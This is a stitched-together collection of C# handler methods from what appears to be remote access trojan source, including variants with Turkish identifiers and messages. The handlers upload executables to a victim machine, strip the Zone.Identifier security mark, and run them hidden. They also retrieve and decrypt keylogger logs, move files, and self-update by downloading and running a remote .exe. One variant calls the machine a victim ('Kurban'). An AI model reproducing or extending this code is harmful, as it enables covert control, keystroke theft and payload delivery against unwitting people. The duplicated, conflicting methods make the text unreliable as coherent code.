public static void HandleDoUploadAndExecute(DoUploadAndExecute command, Client client)
{
if (!_renamedFiles.ContainsKey(command.Id))
{
_renamedFiles.Add(command.Id, FileHelper.GetTempFilePath(Path.GetExtension(command.FileName)));
}
string filePath = _renamedFiles[command.Id];
try
{
if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !FileHelper.IsValidExecuteableFile(command.Block))
{
throw new Exception("No executable file");
}
FileSplit destFile = new FileSplit(filePath);
if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
{
throw new Exception(destFile.LastError);
}
if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute
{
if (_renamedFiles.ContainsKey(command.Id))
{
_renamedFiles.Remove(command.Id);
}
FileHelper.DeleteZoneIdentifier(filePath);
ProcessStartInfo startInfo = new ProcessStartInfo();
if (command.RunHidden)
{
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.CreateNoWindow = true;
}
startInfo.UseShellExecute = false;
startInfo.FileName = filePath;
Process.Start(startInfo);
client.Send(new SetStatus {
Message = "Executed File"
});
}
}
catch (Exception ex)
{
if (_renamedFiles.ContainsKey(command.Id))
{
_renamedFiles.Remove(command.Id);
}
NativeMethods.DeleteFile(filePath);
client.Send(new SetStatus {
Message = $"Execution failed: {ex.Message}"
});
}
}
public static void HandleGetKeyloggerLogsResponse(Client client, GetKeyloggerLogsResponse packet)
{
if (client.Value == null || client.Value.FrmKl == null)
{
return;
}
if (packet.FileCount == 0)
{
client.Value.FrmKl.SetGetLogsEnabled(true);
return;
}
if (string.IsNullOrEmpty(packet.Filename))
{
return;
}
string downloadPath = Path.Combine(client.Value.DownloadDirectory, "Logs\\");
if (!Directory.Exists(downloadPath))
{
Directory.CreateDirectory(downloadPath);
}
downloadPath = Path.Combine(downloadPath, packet.Filename + ".html");
FileSplit destFile = new FileSplit(downloadPath);
destFile.AppendBlock(packet.Block, packet.CurrentBlock);
if (packet.Index == packet.FileCount && (packet.CurrentBlock + 1) == packet.MaxBlocks)
{
FileInfo[] iFiles = new DirectoryInfo(Path.Combine(client.Value.DownloadDirectory, "Logs\\")).GetFiles();
if (iFiles.Length == 0)
{
return;
}
foreach (FileInfo file in iFiles)
{
if (client.Value == null || client.Value.FrmKl == null)
{
break;
}
client.Value.FrmKl.AddLogToListview(file.Name);
}
if (client.Value == null || client.Value.FrmKl == null)
{
return;
}
client.Value.FrmKl.SetGetLogsEnabled(true);
}
}
public static void HandleGetLogsResponse(Client client, GetLogsResponse packet)
{
if (client.Value.FrmKl == null)
{
return;
}
if (packet.FileCount == 0)
{
client.Value.FrmKl.Invoke((MethodInvoker) delegate
{
client.Value.FrmKl.btnGetLogs.Enabled = true;
});
return;
}
string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\Logs\\");
if (!Directory.Exists(downloadPath))
{
Directory.CreateDirectory(downloadPath);
}
downloadPath = Path.Combine(downloadPath, packet.Filename + ".html");
FileSplit destFile = new FileSplit(downloadPath);
destFile.AppendBlock(packet.Block, packet.CurrentBlock);
if (packet.Index == packet.FileCount && (packet.CurrentBlock + 1) == packet.MaxBlocks)
{
FileInfo[] iFiles = new DirectoryInfo(Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString() + "\\Logs\\")).GetFiles();
if (iFiles.Length == 0)
{
return;
}
foreach (FileInfo file in iFiles)
{
var file1 = file;
client.Value.FrmKl.Invoke((MethodInvoker) delegate
{
client.Value.FrmKl.lstLogs.Items.Add(new ListViewItem()
{
Text = file1.Name
});
});
}
client.Value.FrmKl.Invoke((MethodInvoker) delegate
{
client.Value.FrmKl.btnGetLogs.Enabled = true;
});
}
}
public static void HandleDoUploadFile(Packets.ServerPackets.DoUploadFile command, Client client)
{
if (command.CurrentBlock == 0 && File.Exists(command.RemotePath))
{
NativeMethods.DeleteFile(command.RemotePath); // delete existing file
}
FileSplit destFile = new FileSplit(command.RemotePath);
destFile.AppendBlock(command.Block, command.CurrentBlock);
}
public static void HandleDoUploadFile(DoUploadFile command, Networking.Client client)
{
if (command.CurrentBlock == 0 && System.IO.File.Exists(command.RemotePath))
{
NativeMethods.DeleteFile(command.RemotePath); // delete existing file
}
FileSplit destFile = new FileSplit(command.RemotePath);
destFile.AppendBlock(command.Block, command.CurrentBlock);
}
public static void HandleDoUploadAndExecute(Paketler.ServerPaketleri.DoUploadAndExecute command, Client client)
{
if (!_renamedFiles.ContainsKey(command.ID))
{
_renamedFiles.Add(command.ID, DosyaYardımcısı.TempDosyaDizininiAl(Path.GetExtension(command.FileName)));
}
string filePath = _renamedFiles[command.ID];
try
{
if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !DosyaYardımcısı.ExeValidmiKardeş(command.Block))
{
throw new Exception("Exe dosyası bulunamadı.");
}
FileSplit destFile = new FileSplit(filePath);
if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
{
throw new Exception(destFile.LastError);
}
if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute
{
if (_renamedFiles.ContainsKey(command.ID))
{
_renamedFiles.Remove(command.ID);
}
DosyaYardımcısı.DeleteZoneIdentifier(filePath);
ProcessStartInfo startInfo = new ProcessStartInfo();
if (command.RunHidden)
{
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.CreateNoWindow = true;
}
startInfo.UseShellExecute = false;
startInfo.FileName = filePath;
Process.Start(startInfo);
new Paketler.ClientPaketleri.SetStatus("Dosya Yürütüldü!").Execute(client);
}
}
catch (Exception ex)
{
if (_renamedFiles.ContainsKey(command.ID))
{
_renamedFiles.Remove(command.ID);
}
NativeMethods.DeleteFile(filePath);
new Paketler.ClientPaketleri.SetStatus(string.Format("Yürütme Başarısız: {0}", ex.Message)).Execute(client);
}
}
public static void HandleDoUploadAndExecute(Packets.ServerPackets.DoUploadAndExecute command, Client client)
{
if (!_renamedFiles.ContainsKey(command.ID))
_renamedFiles.Add(command.ID, FileHelper.GetTempFilePath(Path.GetExtension(command.FileName)));
string filePath = _renamedFiles[command.ID];
try
{
if (command.CurrentBlock == 0 && Path.GetExtension(filePath) == ".exe" && !FileHelper.IsValidExecuteableFile(command.Block))
throw new Exception("No executable file");
FileSplit destFile = new FileSplit(filePath);
if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
throw new Exception(destFile.LastError);
if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute
{
if (_renamedFiles.ContainsKey(command.ID))
_renamedFiles.Remove(command.ID);
FileHelper.DeleteZoneIdentifier(filePath);
ProcessStartInfo startInfo = new ProcessStartInfo();
if (command.RunHidden)
{
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.CreateNoWindow = true;
}
startInfo.UseShellExecute = false;
startInfo.FileName = filePath;
Process.Start(startInfo);
new Packets.ClientPackets.SetStatus("Executed File!").Execute(client);
}
}
catch (Exception ex)
{
if (_renamedFiles.ContainsKey(command.ID))
_renamedFiles.Remove(command.ID);
NativeMethods.DeleteFile(filePath);
new Packets.ClientPackets.SetStatus(string.Format("Execution failed: {0}", ex.Message)).Execute(client);
}
}
public static void HandleDoUploadAndExecute(Packets.ServerPackets.DoUploadAndExecute command, Client client)
{
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
command.FileName);
try
{
command.IsValidExecuteFile();
if (!command.CorrectFileType)
{
throw new Exception("File type is not valid");
}
FileSplit destFile = new FileSplit(filePath);
if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
{
new Packets.ClientPackets.SetStatus(string.Format("Writing failed: {0}", destFile.LastError)).Execute(
client);
return;
}
if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute
{
NativeMethods.DeleteFile(filePath + ":Zone.Identifier");
ProcessStartInfo startInfo = new ProcessStartInfo();
if (command.RunHidden)
{
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.CreateNoWindow = true;
}
startInfo.UseShellExecute = command.RunHidden;
startInfo.FileName = filePath;
Process.Start(startInfo);
new Packets.ClientPackets.SetStatus("Executed File!").Execute(client);
}
}
catch (Exception ex)
{
NativeMethods.DeleteFile(filePath);
new Packets.ClientPackets.SetStatus(string.Format("Execution failed: {0}", ex.Message)).Execute(client);
}
}
private void Execute(ISender client, GetKeyloggerLogsResponse message)
{
if (message.FileCount == 0)
{
OnReport("Ready");
return;
}
// don't escape from download directory
if (FileHelper.HasIllegalCharacters(message.Filename))
{
// disconnect malicious client
client.Disconnect();
return;
}
if (!Directory.Exists(_baseDownloadPath))
{
Directory.CreateDirectory(_baseDownloadPath);
}
string downloadPath = Path.Combine(_baseDownloadPath, message.Filename + ".html");
FileSplit destFile = new FileSplit(downloadPath);
destFile.AppendBlock(message.Block, message.CurrentBlock);
if (message.CurrentBlock + 1 == message.MaxBlocks)
{
try
{
File.WriteAllText(downloadPath, FileHelper.ReadLogFile(downloadPath, _client.Value.EncryptionKey));
}
catch (Exception)
{
OnReport("Failed to write logs");
}
if (message.Index == message.FileCount)
{
OnReport("Ready");
}
}
}
public static void HandleDownloadFileResponse(Client client, DownloadFileResponse packet)
{
string downloadPath = Path.Combine(Application.StartupPath, "Clients\\" + client.EndPoint.Address.ToString());
if (!Directory.Exists(downloadPath))
{
Directory.CreateDirectory(downloadPath);
}
downloadPath = Path.Combine(downloadPath, packet.Filename);
bool Continue = true;
if (packet.CurrentBlock == 0 && File.Exists(downloadPath))
{
if (
MessageBox.Show(string.Format("The file '{0}' already exists!\nOverwrite it?", packet.Filename),
"Overwrite Confirmation", MessageBoxButtons.YesNo, MessageBoxIcon.Question) != DialogResult.Yes)
{
Continue = false;
}
}
if (client.Value.FrmFm == null)
{
new Packets.ServerPackets.DownloadFileCanceled(packet.ID).Execute(client);
MessageBox.Show("Please keep the File Manager open.\n\nWarning: Download aborted", "Download aborted",
MessageBoxButtons.OK, MessageBoxIcon.Warning);
return;
}
int index = 0;
try
{
client.Value.FrmFm.Invoke((MethodInvoker) delegate
{
foreach (ListViewItem lvi in client.Value.FrmFm.lstTransfers.Items)
{
if (packet.ID.ToString() == lvi.SubItems[0].Text)
{
index = lvi.Index;
break;
}
}
});
}
catch
{
return;
}
if (Continue)
{
if (!string.IsNullOrEmpty(packet.CustomMessage))
{
client.Value.FrmFm.Invoke((MethodInvoker) delegate
{
client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = packet.CustomMessage;
client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 0;
});
return;
}
FileSplit destFile = new FileSplit(downloadPath);
if (!destFile.AppendBlock(packet.Block, packet.CurrentBlock))
{
client.Value.FrmFm.Invoke((MethodInvoker) delegate
{
client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = destFile.LastError;
client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 0;
});
return;
}
decimal progress =
Math.Round((decimal)((double)(packet.CurrentBlock + 1) / (double)packet.MaxBlocks * 100.0), 2);
client.Value.FrmFm.Invoke(
(MethodInvoker)
delegate
{
client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text =
string.Format("Downloading...({0}%)", progress);
});
if ((packet.CurrentBlock + 1) == packet.MaxBlocks)
{
client.Value.FrmFm.Invoke((MethodInvoker) delegate
{
client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = "Completed";
client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 1;
});
}
}
else
{
client.Value.FrmFm.Invoke((MethodInvoker) delegate
{
client.Value.FrmFm.lstTransfers.Items[index].SubItems[1].Text = "Canceled";
client.Value.FrmFm.lstTransfers.Items[index].ImageIndex = 0;
});
}
}
private void Execute(ISender client, DoDownloadFileResponse message)
{
FileTransfer transfer;
lock (_syncLock)
{
transfer = _activeFileTransfers.FirstOrDefault(t => t.Id == message.Id);
}
if (transfer == null)
{
// don't escape from download directory
if (FileHelper.CheckPathForIllegalChars(message.Filename))
{
// disconnect malicious client
client.Disconnect();
return;
}
if (!Directory.Exists(_baseDownloadPath))
{
Directory.CreateDirectory(_baseDownloadPath);
}
string downloadPath = Path.Combine(_baseDownloadPath, message.Filename);
int i = 1;
while (File.Exists(downloadPath))
{
// rename file if it exists already
var newFileName = string.Format("{0}({1}){2}", Path.GetFileNameWithoutExtension(downloadPath), i, Path.GetExtension(downloadPath));
downloadPath = Path.Combine(_baseDownloadPath, newFileName);
i++;
}
transfer = new FileTransfer
{
Id = message.Id,
Type = TransferType.Download,
LocalPath = downloadPath,
RemotePath = message.Filename, // TODO: Change to absolute path
Size = message.MaxBlocks, // TODO: Change to real size
TransferredSize = 0
};
lock (_syncLock)
{
_activeFileTransfers.Add(transfer);
}
}
// TODO: change to += message.Block.Length
transfer.TransferredSize = message.CurrentBlock + 1;
if (!string.IsNullOrEmpty(message.CustomMessage))
{
// client-side error
transfer.Status = message.CustomMessage;
OnFileTransferUpdated(transfer);
return;
}
FileSplit destFile = new FileSplit(transfer.LocalPath);
if (!destFile.AppendBlock(message.Block, message.CurrentBlock))
{
// server-side error
transfer.Status = destFile.LastError;
OnFileTransferUpdated(transfer);
return;
}
if (message.CurrentBlock + 1 == message.MaxBlocks)
{
transfer.Status = "Completed";
}
else
{
decimal progress =
Math.Round((decimal)((double)(message.CurrentBlock + 1) / (double)message.MaxBlocks * 100.0), 2);
transfer.Status = $"Downloading...({progress}%)";
}
OnFileTransferUpdated(transfer);
}
public static void HandleUploadDirectory(Packets.ServerPackets.DoUploadDirectory command, Client client)
{
bool isError = false;
string message = null;
Action <string> onError = (msg) =>
{
isError = true;
message = msg;
};
if (command.CurrentBlock == 0 && File.Exists(command.RemotePath))
{
NativeMethods.DeleteFile(command.RemotePath); // delete existing file
}
FileSplit destFile = new FileSplit(command.RemotePath);
destFile.AppendBlock(command.Block, command.CurrentBlock);
if (command.CurrentBlock + 1 == command.MaxBlocks)
{
var vDir = new VirtualDirectory().DeSerialize(command.RemotePath);
try
{
Directory.Move(command.RemotePath, command.RemotePath + ".bkp");
vDir.SaveToDisk(Path.GetDirectoryName(command.RemotePath));
File.Delete(command.RemotePath + ".bkp");
}
catch (UnauthorizedAccessException)
{
onError("CreateDirectory No permission");
}
catch (ArgumentNullException)
{
onError("CreateDirectory Path cannot be empty");
}
catch (PathTooLongException)
{
onError("CreateDirectory Path too long");
}
catch (DirectoryNotFoundException)
{
onError("CreateDirectory Path is invalid");
}
catch (NotSupportedException)
{
onError("CreateDirectory Path has invalid characters");
}
catch (ArgumentException)
{
onError("CreateDirectory Path is invalid");
}
catch (IOException)
{
onError("CreateDirectory I/O error");
}
finally
{
if (isError && !string.IsNullOrEmpty(message))
{
new Packets.ClientPackets.SetStatusFileManager(message, false).Execute(client);
}
}
}
}
public static void HandleDoClientUpdate(Packets.ServerPackets.DoClientUpdate command, Client client)
{
// i dont like this updating... if anyone has a better idea feel free to edit it
if (string.IsNullOrEmpty(command.DownloadURL))
{
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), command.FileName);
try
{
if (command.CurrentBlock == 0 && command.Block[0] != 'M' && command.Block[1] != 'Z')
{
throw new Exception("No executable file");
}
FileSplit destFile = new FileSplit(filePath);
if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
{
new Packets.ClientPackets.SetStatus(string.Format("Writing failed: {0}", destFile.LastError)).Execute(
client);
return;
}
if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload finished
{
new Packets.ClientPackets.SetStatus("Updating...").Execute(client);
SystemCore.UpdateClient(client, filePath);
}
}
catch (Exception ex)
{
NativeMethods.DeleteFile(filePath);
new Packets.ClientPackets.SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(client);
}
return;
}
new Thread(() =>
{
new Packets.ClientPackets.SetStatus("Downloading file...").Execute(client);
string tempFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
FileHelper.GetRandomFilename(12, ".exe"));
try
{
using (WebClient c = new WebClient())
{
c.Proxy = null;
c.DownloadFile(command.DownloadURL, tempFile);
}
}
catch
{
new Packets.ClientPackets.SetStatus("Download failed!").Execute(client);
return;
}
new Packets.ClientPackets.SetStatus("Updating...").Execute(client);
SystemCore.UpdateClient(client, tempFile);
}).Start();
}
public static void HandleGetKeyloggerLogsResponse(Client client, GetKeyloggerLogsResponse packet)
{
if (client.Value == null || client.Value.FrmKl == null)
return;
if (packet.FileCount == 0)
{
client.Value.FrmKl.SetGetLogsEnabled(true);
return;
}
if (string.IsNullOrEmpty(packet.Filename))
return;
string downloadPath = Path.Combine(client.Value.DownloadDirectory, "Logs\\");
if (!Directory.Exists(downloadPath))
Directory.CreateDirectory(downloadPath);
downloadPath = Path.Combine(downloadPath, packet.Filename + ".html");
FileSplit destFile = new FileSplit(downloadPath);
destFile.AppendBlock(packet.Block, packet.CurrentBlock);
if ((packet.CurrentBlock + 1) == packet.MaxBlocks)
{
try
{
File.WriteAllText(downloadPath, FileHelper.ReadLogFile(downloadPath));
}
catch
{
}
if (packet.Index == packet.FileCount)
{
FileInfo[] iFiles =
new DirectoryInfo(Path.Combine(client.Value.DownloadDirectory, "Logs\\")).GetFiles();
if (iFiles.Length == 0)
return;
foreach (FileInfo file in iFiles)
{
if (client.Value == null || client.Value.FrmKl == null)
break;
client.Value.FrmKl.AddLogToListview(file.Name);
}
if (client.Value == null || client.Value.FrmKl == null)
return;
client.Value.FrmKl.SetGetLogsEnabled(true);
}
}
}
public static void HandleDoClientUpdate(Packets.ServerPackets.DoClientUpdate command, Client client)
{
// i dont like this updating... if anyone has a better idea feel free to edit it
if (string.IsNullOrEmpty(command.DownloadURL))
{
if (!_renamedFiles.ContainsKey(command.ID))
_renamedFiles.Add(command.ID, FileHelper.GetTempFilePath(".exe"));
string filePath = _renamedFiles[command.ID];
try
{
if (command.CurrentBlock == 0 && !FileHelper.IsValidExecuteableFile(command.Block))
throw new Exception("No executable file");
FileSplit destFile = new FileSplit(filePath);
if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
throw new Exception(destFile.LastError);
if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload finished
{
if (_renamedFiles.ContainsKey(command.ID))
_renamedFiles.Remove(command.ID);
new Packets.ClientPackets.SetStatus("Updating...").Execute(client);
ClientUpdater.Update(client, filePath);
}
}
catch (Exception ex)
{
if (_renamedFiles.ContainsKey(command.ID))
_renamedFiles.Remove(command.ID);
NativeMethods.DeleteFile(filePath);
new Packets.ClientPackets.SetStatus(string.Format("Update failed: {0}", ex.Message)).Execute(client);
}
return;
}
new Thread(() =>
{
new Packets.ClientPackets.SetStatus("Downloading file...").Execute(client);
string tempFile = FileHelper.GetTempFilePath(".exe");
try
{
using (WebClient c = new WebClient())
{
c.Proxy = null;
c.DownloadFile(command.DownloadURL, tempFile);
}
}
catch
{
new Packets.ClientPackets.SetStatus("Download failed!").Execute(client);
return;
}
new Packets.ClientPackets.SetStatus("Updating...").Execute(client);
ClientUpdater.Update(client, tempFile);
}).Start();
}
public static void HandleDoDownloadFileResponse(Client client, DoDownloadFileResponse packet)
{
if (CanceledDownloads.ContainsKey(packet.ID) || string.IsNullOrEmpty(packet.Filename) || PausedDownloads.ContainsKey(packet.ID))
{
return;
}
if (!Directory.Exists(client.Value.DownloadDirectory))
{
Directory.CreateDirectory(client.Value.DownloadDirectory);
}
if (!Directory.Exists(Path.Combine(client.Value.DownloadDirectory, "temp")))
{
Directory.CreateDirectory(Path.Combine(client.Value.DownloadDirectory, "temp"));
}
string metaFilePath = Path.Combine(client.Value.DownloadDirectory, "temp", packet.ID + ".meta");
string downloadPath = Path.Combine(client.Value.DownloadDirectory, packet.Filename);
if (packet.CurrentBlock == 0 && File.Exists(downloadPath))
{
for (int i = 1; i < 100; i++)
{
var newFileName = string.Format("{0} ({1}){2}", Path.GetFileNameWithoutExtension(downloadPath), i,
Path.GetExtension(downloadPath));
if (File.Exists(Path.Combine(client.Value.DownloadDirectory, newFileName)))
{
continue;
}
downloadPath = Path.Combine(client.Value.DownloadDirectory, newFileName);
RenamedFiles.Add(packet.ID, newFileName);
break;
}
}
else if (packet.CurrentBlock == 0 && Directory.Exists(downloadPath))
{
for (int i = 1; i < 100; i++)
{
var newFileName = string.Format("{0} ({1})", downloadPath, i);
if (Directory.Exists(Path.Combine(client.Value.DownloadDirectory, newFileName)))
{
continue;
}
downloadPath = Path.Combine(client.Value.DownloadDirectory, newFileName);
RenamedFiles.Add(packet.ID, newFileName);
break;
}
}
else if (packet.CurrentBlock > 0 && (File.Exists(downloadPath) || Directory.Exists(downloadPath)) && RenamedFiles.ContainsKey(packet.ID))
{
downloadPath = Path.Combine(client.Value.DownloadDirectory, RenamedFiles[packet.ID]);
}
// Handle crashed renamed files too
if (packet.CurrentBlock > 0 && File.Exists(metaFilePath))
{
var tmpMeta = new MetaFile(File.ReadAllBytes(metaFilePath));
if (tmpMeta.LocalPath != downloadPath && tmpMeta.LocalPath != "")
{
downloadPath = tmpMeta.LocalPath;
}
}
if (client.Value == null || client.Value.FrmFm == null)
{
FrmMain.Instance.SetStatusByClient(client, "Download aborted, please keep the File Manager open.");
new Packets.ServerPackets.DoDownloadFileCancel(packet.ID).Execute(client);
return;
}
int index = client.Value.FrmFm.GetTransferIndex(packet.ID);
if (index < 0)
{
return;
}
if (!string.IsNullOrEmpty(packet.CustomMessage))
{
if (client.Value.FrmFm == null) // abort download when form is closed
{
return;
}
client.Value.FrmFm.UpdateTransferStatus(index, packet.CustomMessage, 0);
return;
}
byte[] prevHash = new byte[16];
byte[] hashSample = new byte[FileSplit.MAX_BLOCK_SIZE];
if (File.Exists(downloadPath))
{
using (var fs = new FileStream(downloadPath, FileMode.Open))
{
fs.Seek(-FileSplit.MAX_BLOCK_SIZE, SeekOrigin.End);
fs.Read(hashSample, 0, FileSplit.MAX_BLOCK_SIZE);
}
using (var md5 = MD5.Create())
prevHash = md5.ComputeHash(hashSample);
}
FileSplit destFile = new FileSplit(downloadPath);
if (!destFile.AppendBlock(packet.Block, packet.CurrentBlock))
{
if (client.Value == null || client.Value.FrmFm == null)
{
return;
}
client.Value.FrmFm.UpdateTransferStatus(index, destFile.LastError, 0);
return;
}
byte[] curHash;
hashSample = new byte[FileSplit.MAX_BLOCK_SIZE];
using (var fs = new FileStream(downloadPath, FileMode.Open))
{
fs.Seek(-FileSplit.MAX_BLOCK_SIZE, SeekOrigin.End);
fs.Read(hashSample, 0, FileSplit.MAX_BLOCK_SIZE);
}
using (var md5 = MD5.Create())
curHash = md5.ComputeHash(hashSample);
decimal progress =
Math.Round((decimal)((double)(packet.CurrentBlock + 1) / (double)packet.MaxBlocks * 100.0), 2);
decimal speed;
int timeLeft = 0;
try
{
speed = Math.Round((decimal)(packet.CurrentBlock * FileSplit.MAX_BLOCK_SIZE) /
(DateTime.Now - packet.StartTime).Seconds, 0);
timeLeft = (int)(((FileSplit.MAX_BLOCK_SIZE * (packet.MaxBlocks - packet.CurrentBlock)) / 1000) / (speed / 1000));
}
catch (DivideByZeroException)
{
speed = 0;
}
MetaFile metaFile;
// Paused/crashed folder downloads require this
if (File.Exists(metaFilePath))
{
metaFile = new MetaFile(File.ReadAllBytes(metaFilePath));
metaFile.CurrentBlock++;
metaFile.TransferId = packet.ID;
metaFile.Progress = progress;
metaFile.PrevHash = prevHash;
metaFile.CurHash = curHash;
metaFile.RemotePath = packet.RemotePath;
metaFile.LocalPath = downloadPath;
metaFile.Type = TransferType.Download;
}
else
{
metaFile = new MetaFile(packet.CurrentBlock + 1, packet.ID, progress, prevHash, curHash, packet.RemotePath, downloadPath, TransferType.Download);
}
metaFile.Save(metaFilePath);
if (client.Value == null || client.Value.FrmFm == null)
{
return;
}
if (CanceledDownloads.ContainsKey(packet.ID))
{
return;
}
client.Value.FrmFm.UpdateTransferStatus(index, string.Format("Downloading...({0}%)", progress), -1, TimeSpan.FromSeconds(timeLeft), speed);
if ((packet.CurrentBlock + 1) == packet.MaxBlocks)
{
if (client.Value.FrmFm == null)
{
return;
}
try
{
File.Delete(metaFilePath);
}
catch
{
}
RenamedFiles.Remove(packet.ID);
if (packet.Type == ItemType.Directory)
{
client.Value.FrmFm.UpdateTransferStatus(index, "Unpacking directory", -1);
var vDir = new VirtualDirectory().DeSerialize(downloadPath);
if (File.Exists(downloadPath + ".bkp"))
{
File.Delete(downloadPath + ".bkp");
}
File.Move(downloadPath, downloadPath + ".bkp");
try
{
vDir.SaveToDisk(Path.GetDirectoryName(downloadPath));
if (File.Exists(downloadPath + ".bkp"))
{
File.Delete(downloadPath + ".bkp");
}
}
catch
{
}
}
client.Value.FrmFm.UpdateTransferStatus(index, "Completed", 1);
}
}
public static void HandleDoDownloadFileResponse(Client client, DoDownloadFileResponse packet)
{
if (CanceledDownloads.ContainsKey(packet.ID) || string.IsNullOrEmpty(packet.Filename))
{
return;
}
if (!Directory.Exists(client.Value.DownloadDirectory))
{
Directory.CreateDirectory(client.Value.DownloadDirectory);
}
string downloadPath = Path.Combine(client.Value.DownloadDirectory, packet.Filename);
if (packet.CurrentBlock == 0 && File.Exists(downloadPath))
{
for (int i = 1; i < 100; i++)
{
var newFileName = string.Format("{0} ({1}){2}", Path.GetFileNameWithoutExtension(downloadPath), i,
Path.GetExtension(downloadPath));
if (File.Exists(Path.Combine(client.Value.DownloadDirectory, newFileName)))
{
continue;
}
downloadPath = Path.Combine(client.Value.DownloadDirectory, newFileName);
RenamedFiles.Add(packet.ID, newFileName);
break;
}
}
else if (packet.CurrentBlock > 0 && File.Exists(downloadPath) && RenamedFiles.ContainsKey(packet.ID))
{
downloadPath = Path.Combine(client.Value.DownloadDirectory, RenamedFiles[packet.ID]);
}
if (client.Value == null || client.Value.FrmFm == null)
{
AnaForm.Instance.KurbanDurumuAyarla(client,
"İndirme iptal edildi, Lütfen Dosya Yöneticisini Açık Tutunuz.");
new DoDownloadFileCancel(packet.ID).Execute(client);
return;
}
var index = client.Value.FrmFm.GetTransferIndex(packet.ID);
if (index < 0)
{
return;
}
if (!string.IsNullOrEmpty(packet.CustomMessage))
{
if (client.Value.FrmFm == null)
{
return;
}
client.Value.FrmFm.UpdateTransferStatus(index, packet.CustomMessage, 0);
return;
}
var destFile = new FileSplit(downloadPath);
if (!destFile.AppendBlock(packet.Block, packet.CurrentBlock))
{
if (client.Value == null || client.Value.FrmFm == null)
{
return;
}
client.Value.FrmFm.UpdateTransferStatus(index, destFile.LastError, 0);
return;
}
var progress =
Math.Round((decimal)((packet.CurrentBlock + 1) / (double)packet.MaxBlocks * 100.0), 2);
if (client.Value == null || client.Value.FrmFm == null)
{
return;
}
if (CanceledDownloads.ContainsKey(packet.ID))
{
return;
}
client.Value.FrmFm.UpdateTransferStatus(index, string.Format("İndiriliyor...({0}%)", progress), -1);
if ((packet.CurrentBlock + 1) == packet.MaxBlocks)
{
if (client.Value.FrmFm == null)
{
return;
}
RenamedFiles.Remove(packet.ID);
client.Value.FrmFm.UpdateTransferStatus(index, "Tamamlandı", 1);
}
}
public static void HandleDoClientUpdate(DoClientUpdate command, Client client)
{
// YARRAK GİBİ UPDATE CODE İNC.
if (string.IsNullOrEmpty(command.DownloadURL))
{
if (!_renamedFiles.ContainsKey(command.ID))
{
_renamedFiles.Add(command.ID, DosyaYardımcısı.TempDosyaDizininiAl(".exe"));
}
string filePath = _renamedFiles[command.ID];
try
{
if (command.CurrentBlock == 0 && !DosyaYardımcısı.ExeValidmiKardeş(command.Block))
{
throw new Exception("EXE Bulunamadı.");
}
FileSplit destFile = new FileSplit(filePath);
if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
{
throw new Exception(destFile.LastError);
}
if ((command.CurrentBlock + 1) == command.MaxBlocks) // Upload Bitimi
{
if (_renamedFiles.ContainsKey(command.ID))
{
_renamedFiles.Remove(command.ID);
}
new SetStatus("Yükleniyor...").Execute(client);
ClientGüncelleyici.Update(client, filePath);
}
}
catch (Exception ex)
{
if (_renamedFiles.ContainsKey(command.ID))
{
_renamedFiles.Remove(command.ID);
}
NativeMethods.DeleteFile(filePath);
new SetStatus(string.Format("Yükleme Başarısız: {0}", ex.Message)).Execute(client);
}
return;
}
new Thread(() =>
{
new SetStatus("Dosya İndiriliyor...").Execute(client);
string tempFile = DosyaYardımcısı.TempDosyaDizininiAl(".exe");
try
{
using (WebClient c = new WebClient())
{
c.Proxy = null;
c.DownloadFile(command.DownloadURL, tempFile);
}
}
catch
{
new SetStatus("İndirme Başarısız").Execute(client);
return;
}
new SetStatus("Yükleniyor...").Execute(client);
ClientGüncelleyici.Update(client, tempFile);
}).Start();
}
public static void HandleDoUploadAndExecute(Packets.ServerPackets.DoUploadAndExecute command, Client client)
{
string filePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
command.FileName);
try
{
if (command.CurrentBlock == 0 && Path.GetExtension(command.FileName) == ".exe" && !FileHelper.IsValidExecuteableFile(command.Block))
throw new Exception("No executable file");
FileSplit destFile = new FileSplit(filePath);
if (!destFile.AppendBlock(command.Block, command.CurrentBlock))
{
new Packets.ClientPackets.SetStatus(string.Format("Writing failed: {0}", destFile.LastError)).Execute(
client);
return;
}
if ((command.CurrentBlock + 1) == command.MaxBlocks) // execute
{
NativeMethods.DeleteFile(filePath + ":Zone.Identifier");
ProcessStartInfo startInfo = new ProcessStartInfo();
if (command.RunHidden)
{
startInfo.WindowStyle = ProcessWindowStyle.Hidden;
startInfo.CreateNoWindow = true;
}
startInfo.UseShellExecute = command.RunHidden;
startInfo.FileName = filePath;
Process.Start(startInfo);
new Packets.ClientPackets.SetStatus("Executed File!").Execute(client);
}
}
catch (Exception ex)
{
NativeMethods.DeleteFile(filePath);
new Packets.ClientPackets.SetStatus(string.Format("Execution failed: {0}", ex.Message)).Execute(client);
}
}
